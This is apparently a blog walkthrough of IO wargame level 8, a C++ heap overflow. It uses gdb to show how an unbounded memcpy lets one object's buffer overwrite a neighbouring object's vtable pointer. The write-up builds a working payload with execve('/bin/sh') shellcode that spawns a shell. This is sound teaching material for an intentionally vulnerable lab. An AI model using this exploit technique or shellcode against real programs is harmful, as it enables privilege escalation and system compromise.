IO Level 8 – Buffer/Heap Overflow in C++

Today we’re going to be looking at level 8 of the IO wargame, hosted on the Smash The Stack Network.  As always, the password at the end of the level will be stripped and replaced with Y’s.  So without further adieu, let’s get started.  If you want to follow a long at home (which I highly recommend), ssh into blowfish as level8 with the password from completing level 7.

Once logged in, let’s go a head and see what files we’ll be working with today.  A quick ls of the /levels directory shows two files, level08 and level08.cpp.  This is neat, our first level in C++!  Why don’t we look at the source first:

level8@io:~$ more /levels/level08.cpp
// writen by bla for io.smashthestack.org
#include <iostream>
#include <cstring>

class Number
{
public:
Number(int x) : number(x) {}
void setAnnotation(char *a) {memcpy(annotation, a, strlen(a));}
virtual int operator+(Number &r) {return number + r.number;}
private:
char annotation[100];
int number;
};
int main(int argc, char **argv)
{
if(argc < 2) _exit(1);

Number *x = new Number(5);
Number *y = new Number(6);
Number &five = *x, &six = *y;

five.setAnnotation(argv[1]);

return six + five;
}

Next, let’s focus on the Number class.  This class has two private local variables.  One is a char array called annotation, the other is an int called number.  This class also has three public functions.  The first is the constructor which takes one argument, an int, and assigns it’s value to the private local variable “number”.  The second function is called setAnnotation and it takes a char pointer, “a”, as it’s only argument.  Finally the third is a virtually overloaded + operator for the Number class.

Looking at the implementation of the setAnnotation function, we can see something that doesn’t look well programmed from a security perspective.  This function uses memcpy to write the bytes starting at the memory location pointed to by “a”, the function’s argument, to the memory locations starting at “annotation”. It also uses the length of the string “a” as the number of bytes to write.  While it’s good that strlen is used to provide a number of bytes to copy, it should have been limited by the length of “annotation”, not simply “a”.  Since we can control a’s value, and subsequently it’s length, we can overflow the annotation buffer, and cause changes to the heap.

To get a good understanding of what’s happening in the program, let’s go a head and load up gdb and disassemble main.  The following is main with line comments:

(gdb) disass main
Dump of assembler code for function main:
0x08048694 <main+0>: push %ebp
0x08048695 <main+1>: mov %esp,%ebp
0x08048697 <main+3>: and $0xfffffff0,%esp
0x0804869a <main+6>: push %ebx
0x0804869b <main+7>: sub $0x2c,%esp
0x0804869e <main+10>: cmpl $0x1,0x8(%ebp) –if(argc < 2)
0x080486a2 <main+14>: jg 0x80486b0 <main+28> —
0x080486a4 <main+16>: movl $0x1,(%esp) —
0x080486ab <main+23>: call 0x804857c <_exit@plt> — _exit(1);
0x080486b0 <main+28>: movl $0x6c,(%esp) –0x6c = 108
0x080486b7 <main+35>: call 0x80485bc <_Znwj@plt> –new operator(unsigned int) annotation, number, this pointerfor number (allocates memory)(c++ variable x)
0x080486bc <main+40>: mov %eax,%ebx –save new address in ebx
0x080486be <main+42>: mov %ebx,%eax –reload to eax
0x080486c0 <main+44>: movl $0x5,0x4(%esp) –value 5 onto callstack as parameters
0x080486c8 <main+52>: mov %eax,(%esp) –address of number
0x080486cb <main+55>: call 0x804879e <_ZN6NumberC1Ei> –call constructor <Number::Number(int)>
0x080486d0 <main+60>: mov %ebx,0x10(%esp) –move old new operator address from ebx to stack
0x080486d4 <main+64>: movl $0x6c,(%esp) –move value of 108 into near end of stack pointer
0x080486db <main+71>: call 0x80485bc <_Znwj@plt> –new operator(unsigned int) annotation, number, this pointerfor number (allocates memory)(c++ variable y)
0x080486e0 <main+76>: mov %eax,%ebx –save new2 address in ebx
0x080486e2 <main+78>: mov %ebx,%eax –reload to eax
0x080486e4 <main+80>: movl $0x6,0x4(%esp) –value 6 onto callstack as parameters
0x080486ec <main+88>: mov %eax,(%esp) –new 2 address on callstack as parameters
0x080486ef <main+91>: call 0x804879e <_ZN6NumberC1Ei> –call constructor <Number::Number(int)>
0x080486f4 <main+96>: mov %ebx,0x14(%esp) –move old new2 operator address (memory address of new2) from ebx to stack (c++ variable y)
0x080486f8 <main+100>: mov 0x10(%esp),%eax –move old new address (c++ variable x) into eax
0x080486fc <main+104>: mov %eax,0x18(%esp) –move old new address from eax to the stack (assigning value to the reference variable five)
0x08048700 <main+108>: mov 0x14(%esp),%eax –move old new2 address (c++ variable y) into eax
0x08048704 <main+112>: mov %eax,0x1c(%esp) –move old new2 address from eax to the stack (assigning value to the reference variable six)
0x08048708 <main+116>: mov 0xc(%ebp),%eax –load address argv into eax
0x0804870b <main+119>: add $0x4,%eax –add 4 bytes to make up for argv[1] into array
0x0804870e <main+122>: mov (%eax),%eax —
0x08048710 <main+124>: mov %eax,0x4(%esp) –move char pointer of the first argument onto the stack
0x08048714 <main+128>: mov 0x18(%esp),%eax –load the address stored in the five variable into eax (its the address of our x structure in memory)
0x08048718 <main+132>: mov %eax,(%esp) –move the address from eax onto the stack
0x0804871b <main+135>: call 0x80487b6 <_ZN6Number13setAnnotationEPc> –Call to Number::setAnnotation(char*)
0x08048720 <main+140>: mov 0x1c(%esp),%eax –move address of six structure to eax
0x08048724 <main+144>: mov (%eax),%eax –dereference it and put it’s value in eax
0x08048726 <main+146>: mov (%eax),%edx –dereference what was the first 4 bytes of the structure and put that in edx (will function call it later, it must be a function)
0x08048728 <main+148>: mov 0x18(%esp),%eax –move address of five structure to eax
0x0804872c <main+152>: mov %eax,0x4(%esp) –move address of five as parameter on stack for call
0x08048730 <main+156>: mov 0x1c(%esp),%eax –move address of six structure into eax
0x08048734 <main+160>: mov %eax,(%esp) –move address of six as parameter on stack for call
0x08048737 <main+163>: call *%edx –call the address held in edx as a function
0x08048739 <main+165>: add $0x2c,%esp
0x0804873c <main+168>: pop %ebx
0x0804873d <main+169>: mov %ebp,%esp
0x0804873f <main+171>: pop %ebp
0x08048740 <main+172>: ret
End of assembler dump.

So analyzing the above we can assume our stack frame looks like:

0x1c   0x18 0x14 0x10 0xc   0x8
[&six][&five][*y][*x][argv][argc][sfp][ra]

So let’s throw a break at 0x0804871b <main+135>: call 0x80487b6 <_ZN6Number13setAnnotationEPc> –Call to Number::setAnnotation(char*) And check out the stack.

Breakpoint 1, 0x0804871b in main ()
(gdb) x/32xb $esp
0xbfffdca0: 0x08 0xa0 0x04 0x08 0x96 0xde 0xff 0xbf
0xbfffdca8: 0xd8 0xdc 0xff 0xbf 0x29 0x88 0x04 0x08
0xbfffdcb0: 0x08 0xa0 0x04 0x08 0x78 0xa0 0x04 0x08
0xbfffdcb8: 0x08 0xa0 0x04 0x08 0x78 0xa0 0x04 0x08

Looking at main’s assembly we can see that at this point in execution, esp+4 holds the address of the start of argv[1].  Also, esp holds the address that we’re going to write to (aka the address of the annotation array of the structure refered to by the variable five).   The structure of this address shows us that it isn’t in the same place in memory as all the 0xbfff—- addresses.  This 0x0804—- area, it turns out, is the heap.  The heap is similar to the stack and is used when a program needs to dynamically allocate more memory. In our program today, that happened when the “new” command was used to create two instances of the Number class, and is why they reside in the heap.

Examining the stack some more, we can find the values stored in both reference variables five and six.  They are located at +0x18 and +0x1c on the stack respectively from $esp.  Thus, we can see our Number instances are located at 0x0804a008 and 0x0804a078.  It is important to remember that with the heap, memory addresses grow up, unlike with the stack, which is why “six” is at a larger memory address than “five”.

Next, let’s go a head and look at the memory that represents one of our instances.  Let’s check out instance “six”:

(gdb) x/108xb 0x0804a078
0x804a078: 0xc8 0x88 0x04 0x08 0x00 0x00 0x00 0x00
0x804a080: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804a088: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804a090: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804a098: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804a0a0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804a0a8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804a0b0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804a0b8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804a0c0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804a0c8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804a0d0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804a0d8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x804a0e0: 0x06 0x00 0x00 0x00

There are three things to note about this memory.  Let’s start from the bottom and notice that the int value “number” is stored at the end (notice the int value 6).  Next we see the memory which is allocated for the 100 byte character array.  Finally, at the very top of the structure, we see 4 bytes which look an awful lot like a memory address.  The reason is because it is!  Let’s look at the address and see if we can tell what it is:

(gdb) disass 0x080488c8
Dump of assembler code for function _ZTV6Number:
0x080488c0 <_ZTV6Number+0>: add %al,(%eax)
0x080488c2 <_ZTV6Number+2>: add %al,(%eax)
0x080488c4 <_ZTV6Number+4>: aam $0xffffff88
0x080488c6 <_ZTV6Number+6>: add $0x8,%al
0x080488c8 <_ZTV6Number+8>: loop 0x8048851 <__libc_csu_init+65>
0x080488ca <_ZTV6Number+10>: add $0x8,%al

From the assembly of this function it may not be directly clear what it is.  But looking at when it’s called in main, we can decern that it is the virtual table for the virtual functions of the number class.  Also, looking back at the assembly of main, we can see that the virtual table accessed is that of the “six” structure.  Since the buffer we can overflow is that of “five”, if we overflow the bytes in the “six” structure which point to the virtual table with the address of a function we want to execute, we should be able to hijack execution. (Almost.  Since the v-table has another level of links we’ll have to add another level of de-referencing)

So, counting up the memory locations, we can see that there are 108 bytes between the start of “annotation” in “five” and the start of the six structure, where the v-table pointer is.  Thus, we’ll need to overflow the annotation buffer with 108 bytes, then 4 more bytes to overwrite the function pointer of “six”.  To make sure this is correct, let’s test it in gdb and drop a breakpoint to check the values again:

(gdb) run `perl -e ‘print “A”x108,”BBBB”‘`
Starting program: /levels/level08 `perl -e ‘print “A”x108,”BBBB”‘`

Breakpoint 1, 0x08048724 in main ()
(gdb) i r
eax 0x804a078 134520952
ecx 0x0 0
edx 0x0 0
ebx 0x804a078 134520952
esp 0xbfffdc30 0xbfffdc30
ebp 0xbfffdc68 0xbfffdc68
esi 0x0 0
edi 0x0 0
eip 0x8048724 0x8048724 <main+144>
eflags 0x200202 [ IF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) x/8xb 0x0804a078
0x804a078: 0x42 0x42 0x42 0x42 0x00 0x00 0x00 0x00

Perfect.  Now we just need to overwrite this pointer with a valid memory location, perhaps that of some shellcode.  Since we know the address of the annotation buffer in five, let’s try hosting our shellcode there.

(gdb) run `perl -e ‘print “\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xdb\x89\xd8\xb0\x17\xcd\x80\x31\xdb\x89\xd8\xb0\x2e\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80”,”A”x56,”\x10\xa0\x04\x08″‘`

Starting program: /levels/level08 `perl -e ‘print “\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xdb\x89\xd8\xb0\x17\xcd\x80\x31\xdb\x89\xd8\xb0\x2e\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80”,”A”x56,”\x10\xa0\x04\x08″‘`

Program received signal SIGSEGV, Segmentation fault.
0x90909090 in ?? ()

Woops, not quite right.  Forgot about a dereference for the v-table.  To make up for that, we can simply replace the 4 NOPs at the beginning of our string with the address 4 bytes deeper in the NOP padding, using them as a pointer instead of a sled.

(gdb) run `perl -e ‘print “\x10\xa0\x04\x08\x90\x90\x90\x90\x90\x90\x90\x31\xdb\x89\xd8\xb0\x17\xcd\x80\x31\xdb\x89\xd8\xb0\x2e\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80”,”A”x56,”\x0c\xa0\x04\x08″‘`
Starting program: /levels/level08 `perl -e ‘print “\x10\xa0\x04\x08\x90\x90\x90\x90\x90\x90\x90\x31\xdb\x89\xd8\xb0\x17\xcd\x80\x31\xdb\x89\xd8\xb0\x2e\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80”,”A”x56,”\x0c\xa0\x04\x08″‘`

Executing new program: /bin/bash
sh-4.1$

There we have it.  While programs can use memory from either the stack or the heap, buffer overflows still allow attackers to overwrite memory, which may compromise the security and integrity of the programs.

This entry was posted in IO, Smash The Stack, Wargames and tagged , , , , , . Bookmark the permalink.

4 Responses to IO Level 8 – Buffer/Heap Overflow in C++

Leave a Reply

Your email address will not be published.